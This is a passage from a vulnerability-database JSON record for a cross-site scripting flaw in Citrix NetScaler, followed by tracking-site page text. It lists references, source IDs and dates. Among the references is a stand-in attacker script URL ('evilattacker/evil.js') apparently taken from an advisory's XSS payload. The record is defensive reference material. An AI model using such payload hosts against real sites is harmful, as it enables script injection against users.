        "url": "https://nvd.nist.gov/vuln/detail/cve-2014-4347"
      },
      {
        "trust": 0.1,
        "url": "https://twitter.com/sec_consult"
      },
      {
        "trust": 0.1,
        "url": "http://blog.sec-consult.com"
      },
      {
        "trust": 0.1,
        "url": "http://evilattacker/evil.js:"
      },
      {
        "trust": 0.1,
        "url": "https://www.sec-consult.com/en/vulnerability-lab/advisories.htm"
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-72286"
      },
      {
        "db": "BID",
        "id": "68535"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2014-003365"
      },
      {
        "db": "PACKETSTORM",
        "id": "127496"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201407-362"
      },
      {
        "db": "NVD",
        "id": "CVE-2014-4346"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "VULHUB",
        "id": "VHN-72286"
      },
      {
        "db": "BID",
        "id": "68535"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2014-003365"
      },
      {
        "db": "PACKETSTORM",
        "id": "127496"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201407-362"
      },
      {
        "db": "NVD",
        "id": "CVE-2014-4346"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2014-07-16T00:00:00",
        "db": "VULHUB",
        "id": "VHN-72286"
      },
      {
        "date": "2014-07-14T00:00:00",
        "db": "BID",
        "id": "68535"
      },
      {
        "date": "2014-07-17T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2014-003365"
      },
      {
        "date": "2014-07-16T22:42:07",
        "db": "PACKETSTORM",
        "id": "127496"
      },
      {
        "date": "2014-07-17T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201407-362"
      },
      {
        "date": "2014-07-16T14:19:03.997000",
        "db": "NVD",
        "id": "CVE-2014-4346"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2018-10-09T00:00:00",
        "db": "VULHUB",
        "id": "VHN-72286"
      },
      {
        "date": "2014-07-21T00:19:00",
        "db": "BID",
        "id": "68535"
      },
      {
        "date": "2014-07-17T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2014-003365"
      },
      {
        "date": "2014-07-17T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201407-362"
      },
      {
        "date": "2025-04-12T10:46:40.837000",
        "db": "NVD",
        "id": "CVE-2014-4346"
      }
    ]
  },
  "threat_type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "remote",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201407-362"
      }
    ],
    "trust": 0.6
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Citrix NetScaler Application Delivery Controller and  NetScaler Gateway Vulnerable to cross-site scripting",
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2014-003365"
      }
    ],
    "trust": 0.8
  },
  "type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "xss",
    "sources": [
      {
        "db": "PACKETSTORM",
        "id": "127496"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201407-362"
      }
    ],
    "trust": 0.7
  }
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2014-4346 (GCVE-0-2014-4346)

CERTFR-2014-AVI-311

Solution

FKIE_CVE-2014-4346

GHSA-RF98-23W8-RPX5

GSD-2014-4346

VAR-201407-0463

SEC Consult Vulnerability Lab Security Advisory < 20140716-2 >

mod_gsoap Apache SOAP Server Error

Tags

Sightings

Nomenclature

Related by attack behaviour